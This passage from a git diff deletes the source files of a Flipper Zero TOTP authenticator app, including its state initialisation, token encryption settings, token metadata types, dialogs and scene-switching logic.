CryptoSeedIVResultFailed) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - if(totp_crypto_verify_key(&plugin_state->crypto_settings)) { - totp_config_file_ensure_latest_encryption(plugin_state, NULL, 0); - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else { - FURI_LOG_E( - LOGGING_TAG, - "Digital signature verification failed. Looks like conf file was created on another device and can't be used on any other"); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Exit", NULL, NULL); - dialog_message_set_text( - message, - "Digital signature verification failed", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - return false; - } - - return true; -} - -static bool pin_activation(PluginState* const plugin_state) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - return true; -} - -static bool totp_activate_initial_scene(PluginState* const plugin_state) { - if(plugin_state->crypto_settings.crypto_verify_data == NULL) { - if(!first_run_init(plugin_state)) { - return false; - } - } else if(plugin_state->crypto_settings.pin_required) { - if(!pin_activation(plugin_state)) { - return false; - } - } else { - if(!pinless_activation(plugin_state)) { - return false; - } - } - - return true; -} - -static bool on_user_idle(void* context) { - PluginState* plugin_state = context; - if(plugin_state->current_scene != TotpSceneAuthentication && - plugin_state->current_scene != TotpSceneStandby) { - totp_scene_director_activate_scene(plugin_state, TotpSceneAuthentication); - totp_scene_director_force_redraw(plugin_state); - return true; - } - - return false; -} - -static bool totp_plugin_state_init(PluginState* const plugin_state) { - plugin_state->gui = furi_record_open(RECORD_GUI); - plugin_state->dialogs_app = furi_record_open(RECORD_DIALOGS); - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - - if(!totp_config_file_load(plugin_state)) { - totp_dialogs_config_loading_error(plugin_state); - return false; - } - - plugin_state->event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->automation_method & AutomationMethodBadBt) { - plugin_state->bt_type_code_worker_context = totp_bt_type_code_worker_init(); - } else { - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - if(plugin_state->crypto_settings.pin_required) { - plugin_state->idle_timeout_context = - idle_timeout_alloc(TOTP_AUTO_LOCK_IDLE_TIMEOUT_SEC, &on_user_idle, plugin_state); - idle_timeout_start(plugin_state->idle_timeout_context); - } else { - plugin_state->idle_timeout_context = NULL; - } - - return true; -} - -static void totp_plugin_state_free(PluginState* plugin_state) { - if(plugin_state->idle_timeout_context != NULL) { - idle_timeout_stop(plugin_state->idle_timeout_context); - idle_timeout_free(plugin_state->idle_timeout_context); - } - - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_DIALOGS); - - totp_config_file_close(plugin_state); - - if(plugin_state->crypto_settings.crypto_verify_data != NULL) { - free(plugin_state->crypto_settings.crypto_verify_data); - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if(plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - if(plugin_state->event_queue != NULL) { - furi_message_queue_free(plugin_state->event_queue); - } - - free(plugin_state); -} - -int32_t totp_app() { - FURI_LOG_I( - LOGGING_TAG, - "App version: %" PRIu8 ".%" PRIu8 ".%" PRIu8, - TOTP_APP_VERSION_MAJOR, - TOTP_APP_VERSION_MINOR, - TOTP_APP_VERSION_PATCH); - PluginState* plugin_state = malloc(sizeof(PluginState)); - furi_check(plugin_state != NULL); - - if(!totp_plugin_state_init(plugin_state)) { - FURI_LOG_E(LOGGING_TAG, "App state initialization failed\r\n"); - totp_plugin_state_free(plugin_state); - return 254; - } - - TotpCliContext* cli_context = totp_cli_register_command_handler(plugin_state); - - if(!totp_activate_initial_scene(plugin_state)) { - FURI_LOG_E(LOGGING_TAG, "An error ocurred during activating initial scene\r\n"); - totp_plugin_state_free(plugin_state); - return 253; - } - - // Affecting dolphin level - dolphin_deed(DolphinDeedPluginStart); - - FuriMutex* main_loop_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - struct TotpRenderCallbackContext render_context = { - .plugin_state = plugin_state, .mutex = main_loop_mutex}; - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, &render_context); - view_port_input_callback_set(view_port, input_callback, plugin_state->event_queue); - - // Open GUI and register view_port - gui_add_view_port(plugin_state->gui, view_port, GuiLayerFullscreen); - - PluginEvent event; - bool processing = true; - while(processing) { - if(furi_message_queue_get(plugin_state->event_queue, &event, FuriWaitForever) == - FuriStatusOk) { - if(event.type == EventForceCloseApp) { - processing = false; - } else if(event.type == EventForceRedraw) { - processing = true; //-V1048 - } else if(furi_mutex_acquire(main_loop_mutex, FuriWaitForever) == FuriStatusOk) { - if(event.type == EventTypeKey && plugin_state->idle_timeout_context != NULL) { - idle_timeout_report_activity(plugin_state->idle_timeout_context); - } - - processing = totp_scene_director_handle_event(&event, plugin_state); - - furi_mutex_release(main_loop_mutex); - } - } - - view_port_update(view_port); - } - - totp_cli_unregister_command_handler(cli_context); - totp_scene_director_deactivate_active_scene(plugin_state); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(plugin_state->gui, view_port); - view_port_free(view_port); - furi_mutex_free(main_loop_mutex); - totp_plugin_state_free(plugin_state); - return 0; -} diff --git a/applications/external/totp/types/automation_kb_layout.h b/applications/external/totp/types/automation_kb_layout.h deleted file mode 100644 index 9c23e91ab..000000000 --- a/applications/external/totp/types/automation_kb_layout.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -typedef uint8_t AutomationKeyboardLayout; - -enum AutomationKeyboardLayouts { - AutomationKeyboardLayoutQWERTY = 0, - AutomationKeyboardLayoutAZERTY = 1 -}; \ No newline at end of file diff --git a/applications/external/totp/types/automation_method.h b/applications/external/totp/types/automation_method.h deleted file mode 100644 index 89e39e18e..000000000 --- a/applications/external/totp/types/automation_method.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include "../features_config.h" - -typedef uint8_t AutomationMethod; - -enum AutomationMethods { - AutomationMethodNone = 0b00, - AutomationMethodBadUsb = 0b01, -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - AutomationMethodBadBt = 0b10, -#endif -}; diff --git a/applications/external/totp/types/common.c b/applications/external/totp/types/common.c deleted file mode 100644 index ec5eb3ebd..000000000 --- a/applications/external/totp/types/common.c +++ /dev/null @@ -1,3 +0,0 @@ -#include "common.h" - -const char* LOGGING_TAG = "TOTP APP"; \ No newline at end of file diff --git a/applications/external/totp/types/common.h b/applications/external/totp/types/common.h deleted file mode 100644 index 737adb82d..000000000 --- a/applications/external/totp/types/common.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -extern const char* LOGGING_TAG; diff --git a/applications/external/totp/types/crypto_settings.h b/applications/external/totp/types/crypto_settings.h deleted file mode 100644 index 8b970fd6d..000000000 --- a/applications/external/totp/types/crypto_settings.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once - -#include -#include "../services/crypto/constants.h" - -typedef struct { - /** - * @brief Crypto key slot to be used - */ - uint8_t crypto_key_slot; - - /** - * @brief Crypto algorithms version to be used - */ - uint8_t crypto_version; - - /** - * @brief Initialization vector (IV) to be used for encryption\decryption - */ - uint8_t iv[CRYPTO_IV_LENGTH]; - - /** - * @brief Basic randomly-generated initialization vector (IV) - */ - uint8_t base_iv[CRYPTO_IV_LENGTH]; - - /** - * @brief Encrypted well-known data - */ - uint8_t* crypto_verify_data; - - /** - * @brief Encrypted well-known data length - */ - size_t crypto_verify_data_length; - - /** - * @brief Whether user's PIN is required or not - */ - bool pin_required; -} CryptoSettings; \ No newline at end of file diff --git a/applications/external/totp/types/event_type.h b/applications/external/totp/types/event_type.h deleted file mode 100644 index 138f528d8..000000000 --- a/applications/external/totp/types/event_type.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#include - -typedef uint8_t EventType; - -enum EventTypes { EventTypeTick, EventTypeKey, EventForceCloseApp, EventForceRedraw }; diff --git a/applications/external/totp/types/notification_method.h b/applications/external/totp/types/notification_method.h deleted file mode 100644 index f86613352..000000000 --- a/applications/external/totp/types/notification_method.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -typedef uint8_t NotificationMethod; - -enum NotificationMethods { - NotificationMethodNone = 0b00, - NotificationMethodSound = 0b01, - NotificationMethodVibro = 0b10, -}; diff --git a/applications/external/totp/types/plugin_event.h b/applications/external/totp/types/plugin_event.h deleted file mode 100644 index 76c22af59..000000000 --- a/applications/external/totp/types/plugin_event.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -#include -#include -#include "event_type.h" - -typedef struct { - EventType type; - InputEvent input; -} PluginEvent; diff --git a/applications/external/totp/types/plugin_state.h b/applications/external/totp/types/plugin_state.h deleted file mode 100644 index a3b2f5c8f..000000000 --- a/applications/external/totp/types/plugin_state.h +++ /dev/null @@ -1,93 +0,0 @@ -#pragma once - -#include -#include -#include -#include "../features_config.h" -#include "../ui/totp_scenes_enum.h" -#include "../services/config/config_file_context.h" -#include "../services/idle_timeout/idle_timeout.h" -#include "notification_method.h" -#include "automation_method.h" -#include "automation_kb_layout.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../workers/bt_type_code/bt_type_code.h" -#endif -#include "crypto_settings.h" - -/** - * @brief Application state structure - */ -typedef struct { - /** - * @brief Application current scene - */ - Scene current_scene; - - /** - * @brief Application current scene state - */ - void* current_scene_state; - - /** - * @brief Reference to the firmware dialogs subsystem - */ - DialogsApp* dialogs_app; - - /** - * @brief Reference to the firmware GUI subsystem - */ - Gui* gui; - - /** - * @brief Timezone UTC offset in hours - */ - float timezone_offset; - - /** - * @brief Config file context - */ - ConfigFileContext* config_file_context; - - /** - * @brief Notification method - */ - NotificationMethod notification_method; - - /** - * @brief Automation method - */ - AutomationMethod automation_method; - - /** - * @brief Automation keyboard layout to be used - */ - AutomationKeyboardLayout automation_kb_layout; - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - /** - * @brief Bad-Bluetooth worker context - */ - TotpBtTypeCodeWorkerContext* bt_type_code_worker_context; -#endif - - /** - * @brief IDLE timeout context - */ - IdleTimeoutContext* idle_timeout_context; - - /** - * @brief Font index to be used to draw TOTP token - */ - uint8_t active_font_index; - - /** - * @brief Application even queue - */ - FuriMessageQueue* event_queue; - - /** - * @brief Crypto settings - */ - CryptoSettings crypto_settings; -} PluginState; diff --git a/applications/external/totp/types/token_info.c b/applications/external/totp/types/token_info.c deleted file mode 100644 index 1d1e73160..000000000 --- a/applications/external/totp/types/token_info.c +++ /dev/null @@ -1,207 +0,0 @@ -#include "token_info.h" -#include -#include -#include -#include -#include "common.h" -#include "../services/crypto/crypto_facade.h" - -TokenInfo* token_info_alloc() { - TokenInfo* tokenInfo = malloc(sizeof(TokenInfo)); - furi_check(tokenInfo != NULL); - tokenInfo->name = furi_string_alloc(); - token_info_set_defaults(tokenInfo); - return tokenInfo; -} - -void token_info_free(TokenInfo* token_info) { - if(token_info == NULL) return; - free(token_info->token); - furi_string_free(token_info->name); - free(token_info); -} - -bool token_info_set_secret( - TokenInfo* token_info, - const char* plain_token_secret, - size_t token_secret_length, - PlainTokenSecretEncoding plain_token_secret_encoding, - const CryptoSettings* crypto_settings) { - if(token_secret_length == 0) return false; - uint8_t* plain_secret; - size_t plain_secret_length; - size_t plain_secret_size; - if(plain_token_secret_encoding == PlainTokenSecretEncodingBase32) { - plain_secret_size = token_secret_length; - plain_secret = malloc(plain_secret_size); - furi_check(plain_secret != NULL); - plain_secret_length = - base32_decode((const uint8_t*)plain_token_secret, plain_secret, plain_secret_size); - } else if(plain_token_secret_encoding == PlainTokenSecretEncodingBase64) { - plain_secret_length = 0; - plain_secret = base64_decode( - (const uint8_t*)plain_token_secret, - token_secret_length, - &plain_secret_length, - &plain_secret_size); - furi_check(plain_secret != NULL); - } else { - return false; - } - - bool result; - if(plain_secret_length > 0) { - if(token_info->token != NULL) { - free(token_info->token); - } - - token_info->token = totp_crypto_encrypt( - plain_secret, plain_secret_length, crypto_settings, &token_info->token_length); - result = true; - } else { - result = false; - } - - memset_s(plain_secret, plain_secret_size, 0, plain_secret_size); - free(plain_secret); - return result; -} - -bool token_info_set_digits_from_int(TokenInfo* token_info, uint8_t digits) { - switch(digits) { - case 5: - token_info->digits = TokenDigitsCountFive; - return true; - case 6: - token_info->digits = TokenDigitsCountSix; - return true; - case 8: - token_info->digits = TokenDigitsCountEight; - return true; - default: - break; - } - - return false; -} - -bool token_info_set_duration_from_int(TokenInfo* token_info, uint8_t duration) { -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wtype-limits" - if(duration >= TokenDurationMin && duration <= TokenDurationMax) { //-V560 - token_info->duration = duration; - return true; - } -#pragma GCC diagnostic pop - - return false; -} - -bool token_info_set_algo_from_str(TokenInfo* token_info, const FuriString* str) { - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA1_NAME) == 0) { - token_info->algo = TokenHashAlgoSha1; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA256_NAME) == 0) { - token_info->algo = TokenHashAlgoSha256; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_SHA512_NAME) == 0) { - token_info->algo = TokenHashAlgoSha512; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_HASH_ALGO_STEAM_NAME) == 0) { - token_info->algo = TokenHashAlgoSteam; - return true; - } - - return false; -} - -bool token_info_set_algo_from_int(TokenInfo* token_info, uint8_t algo_code) { - switch(algo_code) { - case TokenHashAlgoSha1: - token_info->algo = TokenHashAlgoSha1; - break; - case TokenHashAlgoSha256: - token_info->algo = TokenHashAlgoSha256; - break; - case TokenHashAlgoSha512: - token_info->algo = TokenHashAlgoSha512; - break; - case TokenHashAlgoSteam: - token_info->algo = TokenHashAlgoSteam; - break; - default: - return false; - } - - return true; -} - -const char* token_info_get_algo_as_cstr(const TokenInfo* token_info) { - switch(token_info->algo) { - case TokenHashAlgoSha1: - return TOKEN_HASH_ALGO_SHA1_NAME; - case TokenHashAlgoSha256: - return TOKEN_HASH_ALGO_SHA256_NAME; - case TokenHashAlgoSha512: - return TOKEN_HASH_ALGO_SHA512_NAME; - case TokenHashAlgoSteam: - return TOKEN_HASH_ALGO_STEAM_NAME; - default: - break; - } - - return NULL; -} - -bool token_info_set_automation_feature_from_str(TokenInfo* token_info, const FuriString* str) { - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureEnterAtTheEnd; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureTabAtTheEnd; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME) == 0) { - token_info->automation_features |= TokenAutomationFeatureTypeSlower; - return true; - } - - if(furi_string_cmpi_str(str, TOKEN_AUTOMATION_FEATURE_NONE_NAME) == 0) { - token_info->automation_features = TokenAutomationFeatureNone; - return true; - } - - return false; -} - -TokenInfo* token_info_clone(const TokenInfo* src) { - TokenInfo* clone = token_info_alloc(); - memcpy(clone, src, sizeof(TokenInfo)); - - clone->token = malloc(src->token_length); - furi_check(clone->token != NULL); - memcpy(clone->token, src->token, src->token_length); - - clone->name = furi_string_alloc(); - furi_string_set(clone->name, src->name); - - return clone; -} - -void token_info_set_defaults(TokenInfo* token_info) { - furi_check(token_info != NULL); - token_info->algo = TokenHashAlgoDefault; - token_info->digits = TokenDigitsCountDefault; - token_info->duration = TokenDurationDefault; - token_info->automation_features = TokenAutomationFeatureNone; - furi_string_reset(token_info->name); -} \ No newline at end of file diff --git a/applications/external/totp/types/token_info.h b/applications/external/totp/types/token_info.h deleted file mode 100644 index 969445dff..000000000 --- a/applications/external/totp/types/token_info.h +++ /dev/null @@ -1,272 +0,0 @@ -#pragma once - -#include -#include -#include -#include "crypto_settings.h" - -#define TOKEN_HASH_ALGO_SHA1_NAME "sha1" -#define TOKEN_HASH_ALGO_STEAM_NAME "steam" -#define TOKEN_HASH_ALGO_SHA256_NAME "sha256" -#define TOKEN_HASH_ALGO_SHA512_NAME "sha512" -#define PLAIN_TOKEN_ENCODING_BASE32_NAME "base32" -#define PLAIN_TOKEN_ENCODING_BASE64_NAME "base64" -#define TOKEN_AUTOMATION_FEATURE_NONE_NAME "none" -#define TOKEN_AUTOMATION_FEATURE_ENTER_AT_THE_END_NAME "enter" -#define TOKEN_AUTOMATION_FEATURE_TAB_AT_THE_END_NAME "tab" -#define TOKEN_AUTOMATION_FEATURE_TYPE_SLOWER_NAME "slower" - -typedef uint8_t TokenHashAlgo; -typedef uint8_t TokenDigitsCount; -typedef uint8_t TokenDuration; -typedef uint8_t TokenAutomationFeature; -typedef uint8_t PlainTokenSecretEncoding; - -/** - * @brief Hashing algorithm to be used to generate token - */ -enum TokenHashAlgos { - /** - * @brief SHA1 hashing algorithm - */ - TokenHashAlgoSha1 = 0, - - /** - * @brief SHA256 hashing algorithm - */ - TokenHashAlgoSha256 = 1, - - /** - * @brief SHA512 hashing algorithm - */ - TokenHashAlgoSha512 = 2, - - /** - * @brief Algorithm used by Steam (Valve) - */ - TokenHashAlgoSteam = 3, - - /** - * @brief Default token hashing algorithm - */ - TokenHashAlgoDefault = TokenHashAlgoSha1 -}; - -/** - * @brief Token digits count to be generated. - */ -enum TokenDigitsCounts { - /** - * @brief 5 digits - */ - TokenDigitsCountFive = 5, - - /** - * @brief 6 digits - */ - TokenDigitsCountSix = 6, - - /** - * @brief 8 digits - */ - TokenDigitsCountEight = 8, - - /** - * @brief Default digits count - */ - TokenDigitsCountDefault = TokenDigitsCountSix, - - /** - * @brief Maximum digits count - */ - TokenDigitsCountMax = TokenDigitsCountEight -}; - -/** - * @brief Token durations - */ -enum TokenDurations { - /** - * @brief Default token duration - */ - TokenDurationDefault = 30, - - /** - * @brief Minimum token duration - */ - TokenDurationMin = 15, - - /** - * @brief Maximum token duration - */ - TokenDurationMax = UINT8_MAX -}; - -/** - * @brief Token automation features. - */ -enum TokenAutomationFeatures { - /** - * @brief No features enabled - */ - TokenAutomationFeatureNone = 0b000, - - /** - * @brief Press "Enter" key at the end as a part of token input automation - */ - TokenAutomationFeatureEnterAtTheEnd = 0b001, - - /** - * @brief Press "Tab" key at the end as a part of token input automation - */ - TokenAutomationFeatureTabAtTheEnd = 0b010, - - /** - * @brief Press keys slower and wait longer between keystrokes - */ - TokenAutomationFeatureTypeSlower = 0b100 -}; - -/** - * @brief Plain token secret encodings. - */ -enum PlainTokenSecretEncodings { - - /** - * @brief Base32 encoding - */ - PlainTokenSecretEncodingBase32 = 0, - - /** - * @brief Base64 encoding - */ - PlainTokenSecretEncodingBase64 = 1 -}; - -/** - * @brief TOTP token information - */ -typedef struct { - /** - * @brief Encrypted token secret - */ - uint8_t* token; - - /** - * @brief Encrypted token secret length - */ - size_t token_length; - - /** - * @brief User-friendly token name - */ - FuriString* name; - - /** - * @brief Hashing algorithm - */ - TokenHashAlgo algo; - - /** - * @brief Desired TOTP token length - */ - TokenDigitsCount digits; - - /** - * @brief Desired TOTP token duration in seconds - */ - TokenDuration duration; - - /** - * @brief Token input automation features - */ - TokenAutomationFeature automation_features; -} TokenInfo; - -/** - * @brief Allocates a new instance of \c TokenInfo - * @return - */ -TokenInfo* token_info_alloc(); - -/** - * @brief Disposes all the resources allocated by the given \c TokenInfo instance - * @param token_info instance to be disposed - */ -void token_info_free(TokenInfo* token_info); - -/** - * @brief Encrypts & sets plain token secret to the given instance of \c TokenInfo - * @param token_info instance where secret should be updated - * @param plain_token_secret plain token secret - * @param token_secret_length plain token secret length - * @param plain_token_secret_encoding plain token secret encoding - * @param crypto_settings crypto settings - * @return \c true if token successfully set; \c false otherwise - */ -bool token_info_set_secret( - TokenInfo* token_info, - const char* plain_token_secret, - size_t token_secret_length, - PlainTokenSecretEncoding plain_token_secret_encoding, - const CryptoSettings* crypto_settings); - -/** - * @brief Sets token digits count from \c uint8_t value - * @param token_info instance whichs token digits count length should be updated - * @param digits desired token digits count length - * @return \c true if token digits count length has been updated; \c false otherwise - */ -bool token_info_set_digits_from_int(TokenInfo* token_info, uint8_t digits); - -/** - * @brief Sets token duration from \c uint8_t value - * @param token_info instance whichs token digits count length should be updated - * @param duration desired token duration in seconds - * @return \c true if token duration has been updated; \c false otherwise - */ -bool token_info_set_duration_from_int(TokenInfo* token_info, uint8_t duration); - -/** - * @brief Sets token hashing algorithm from \c str value - * @param token_info instance whichs token hashing algorithm should be updated - * @param str desired token algorithm - * @return \c true if token hashing algorithm has been updated; \c false otherwise - */ -bool token_info_set_algo_from_str(TokenInfo* token_info, const FuriString* str); - -/** - * @brief Sets token hashing algorithm from \c algo_code code - * @param token_info instance whichs token hashing algorithm should be updated - * @param algo_code desired token algorithm code - * @return \c true if token hashing algorithm has been updated; \c false otherwise - */ -bool token_info_set_algo_from_int(TokenInfo* token_info, uint8_t algo_code); - -/** - * @brief Gets token hahsing algorithm name as C-string - * @param token_info instance which token hahsing algorithm name should be returned - * @return token hashing algorithm name as C-string - */ -const char* token_info_get_algo_as_cstr(const TokenInfo* token_info); - -/** - * @brief Sets token automation feature from \c str value - * @param token_info instance whichs token automation feature should be updated - * @param str desired token automation feature - * @return \c true if token automation feature has been set; \c false otherwise - */ -bool token_info_set_automation_feature_from_str(TokenInfo* token_info, const FuriString* str); - -/** - * @brief Clones \c TokenInfo instance - * @param src instance to clone - * @return cloned instance - */ -TokenInfo* token_info_clone(const TokenInfo* src); - -/** - * @brief Sets default values to all the properties of \c token_info - * @param token_info instance to set defaults to - */ -void token_info_set_defaults(TokenInfo* token_info); diff --git a/applications/external/totp/types/user_pin_codes.h b/applications/external/totp/types/user_pin_codes.h deleted file mode 100644 index b5d72d398..000000000 --- a/applications/external/totp/types/user_pin_codes.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once - -typedef uint8_t TotpUserPinCode; - -enum TotpUserPinCodes { - PinCodeArrowUp = 2, - PinCodeArrowRight = 8, - PinCodeArrowDown = 11, - PinCodeArrowLeft = 5 -}; \ No newline at end of file diff --git a/applications/external/totp/ui/canvas_extensions.c b/applications/external/totp/ui/canvas_extensions.c deleted file mode 100644 index d3f044b77..000000000 --- a/applications/external/totp/ui/canvas_extensions.c +++ /dev/null @@ -1,33 +0,0 @@ -#include "canvas_extensions.h" - -void canvas_draw_str_ex( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* text, - size_t text_length, - const FONT_INFO* const font) { - const char* p_ch = text; - char ch; - size_t i = 0; - uint8_t offset_x = x; - uint8_t char_width = font->charInfo[0].width; - uint8_t offset_x_inc = char_width + font->spacePixels; - while(i < text_length && (ch = *p_ch) != 0) { - if(ch >= font->startChar && ch <= font->endChar) { - uint8_t char_index = ch - font->startChar; - canvas_draw_xbm( - canvas, - offset_x, - y, - char_width, - font->height, - &font->data[font->charInfo[char_index].offset]); - } - - offset_x += offset_x_inc; - - p_ch++; - i++; - } -} \ No newline at end of file diff --git a/applications/external/totp/ui/canvas_extensions.h b/applications/external/totp/ui/canvas_extensions.h deleted file mode 100644 index 2e053b488..000000000 --- a/applications/external/totp/ui/canvas_extensions.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include -#include -#include - -/** - * @brief Draw string using given font - * @param canvas canvas to draw string at - * @param x horizontal position - * @param y vertical position - * @param text string to draw - * @param text_length string length - * @param font font to be used to draw string - */ -void canvas_draw_str_ex( - Canvas* canvas, - uint8_t x, - uint8_t y, - const char* text, - size_t text_length, - const FONT_INFO* const font); \ No newline at end of file diff --git a/applications/external/totp/ui/common_dialogs.c b/applications/external/totp/ui/common_dialogs.c deleted file mode 100644 index 0a10389e1..000000000 --- a/applications/external/totp/ui/common_dialogs.c +++ /dev/null @@ -1,20 +0,0 @@ -#include "common_dialogs.h" -#include "constants.h" - -static DialogMessageButton totp_dialogs_common(PluginState* plugin_state, const char* text) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Exit", NULL, NULL); - dialog_message_set_text( - message, text, SCREEN_WIDTH_CENTER, SCREEN_HEIGHT_CENTER, AlignCenter, AlignCenter); - DialogMessageButton result = dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - return result; -} - -DialogMessageButton totp_dialogs_config_loading_error(PluginState* plugin_state) { - return totp_dialogs_common(plugin_state, "An error has occurred\nduring loading config file"); -} - -DialogMessageButton totp_dialogs_config_updating_error(PluginState* plugin_state) { - return totp_dialogs_common(plugin_state, "An error has occurred\nduring updating config file"); -} \ No newline at end of file diff --git a/applications/external/totp/ui/common_dialogs.h b/applications/external/totp/ui/common_dialogs.h deleted file mode 100644 index 1ddd80a75..000000000 --- a/applications/external/totp/ui/common_dialogs.h +++ /dev/null @@ -1,18 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" - -/** - * @brief Shows standard dialog about the fact that error occurred when loading config file - * @param plugin_state application state - * @return dialog button which user pressed to close the dialog - */ -DialogMessageButton totp_dialogs_config_loading_error(PluginState* plugin_state); - -/** - * @brief Shows standard dialog about the fact that error occurred when updating config file - * @param plugin_state application state - * @return dialog button which user pressed to close the dialog - */ -DialogMessageButton totp_dialogs_config_updating_error(PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/constants.h b/applications/external/totp/ui/constants.h deleted file mode 100644 index 81c2edf92..000000000 --- a/applications/external/totp/ui/constants.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#define SCREEN_WIDTH (128) -#define SCREEN_HEIGHT (64) -#define SCREEN_WIDTH_CENTER (SCREEN_WIDTH >> 1) -#define SCREEN_HEIGHT_CENTER (SCREEN_HEIGHT >> 1) diff --git a/applications/external/totp/ui/scene_director.c b/applications/external/totp/ui/scene_director.c deleted file mode 100644 index fd7cf1dca..000000000 --- a/applications/external/totp/ui/scene_director.c +++ /dev/null @@ -1,123 +0,0 @@ -#include "../types/common.h" -#include "scene_director.h" -#include "scenes/authenticate/totp_scene_authenticate.h" -#include "scenes/generate_token/totp_scene_generate_token.h" -#include "scenes/add_new_token/totp_scene_add_new_token.h" -#include "scenes/token_menu/totp_scene_token_menu.h" -#include "scenes/app_settings/totp_app_settings.h" -#include "scenes/standby/standby.h" - -void totp_scene_director_activate_scene(PluginState* const plugin_state, Scene scene) { - totp_scene_director_deactivate_active_scene(plugin_state); - switch(scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_activate(plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_activate(plugin_state); - break; - case TotpSceneAddNewToken: - totp_scene_add_new_token_activate(plugin_state); - break; - case TotpSceneTokenMenu: - totp_scene_token_menu_activate(plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_activate(plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } - - plugin_state->current_scene = scene; -} - -void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state) { - Scene current_scene = plugin_state->current_scene; - plugin_state->current_scene = TotpSceneNone; - switch(current_scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_deactivate(plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_deactivate(plugin_state); - break; - case TotpSceneAddNewToken: - totp_scene_add_new_token_deactivate(plugin_state); - break; - case TotpSceneTokenMenu: - totp_scene_token_menu_deactivate(plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_deactivate(plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } -} - -void totp_scene_director_render(Canvas* const canvas, PluginState* const plugin_state) { - switch(plugin_state->current_scene) { - case TotpSceneGenerateToken: - totp_scene_generate_token_render(canvas, plugin_state); - break; - case TotpSceneAuthentication: - totp_scene_authenticate_render(canvas, plugin_state); - break; - case TotpSceneAddNewToken: - totp_scene_add_new_token_render(canvas, plugin_state); - break; - case TotpSceneTokenMenu: - totp_scene_token_menu_render(canvas, plugin_state); - break; - case TotpSceneAppSettings: - totp_scene_app_settings_render(canvas, plugin_state); - break; - case TotpSceneNone: - break; - case TotpSceneStandby: - totp_scene_standby_render(canvas); - break; - default: - break; - } -} - -bool totp_scene_director_handle_event(PluginEvent* const event, PluginState* const plugin_state) { - bool processing = true; - switch(plugin_state->current_scene) { - case TotpSceneGenerateToken: - processing = totp_scene_generate_token_handle_event(event, plugin_state); - break; - case TotpSceneAuthentication: - processing = totp_scene_authenticate_handle_event(event, plugin_state); - break; - case TotpSceneAddNewToken: - processing = totp_scene_add_new_token_handle_event(event, plugin_state); - break; - case TotpSceneTokenMenu: - processing = totp_scene_token_menu_handle_event(event, plugin_state); - break; - case TotpSceneAppSettings: - processing = totp_scene_app_settings_handle_event(event, plugin_state); - break; - case TotpSceneNone: - case TotpSceneStandby: - break; - default: - break; - } - - return processing; -} - -void totp_scene_director_force_redraw(PluginState* const plugin_state) { - PluginEvent event = {.type = EventForceRedraw}; - furi_message_queue_put(plugin_state->event_queue, &event, FuriWaitForever); -} \ No newline at end of file diff --git a/applications/external/totp/ui/scene_director.h b/applications/external/totp/ui/scene_director.h deleted file mode 100644 index 1f09f9ea9..000000000 --- a/applications/external/totp/ui/scene_director.h +++ /dev/null @@ -1,41 +0,0 @@ -#pragma once - -#include -#include "../types/plugin_state.h" -#include "../types/plugin_event.h" -#include "totp_scenes_enum.h" - -/** - * @brief Activates scene - * @param plugin_state application state - * @param scene scene to be activated - * @param context scene context to be passed to the 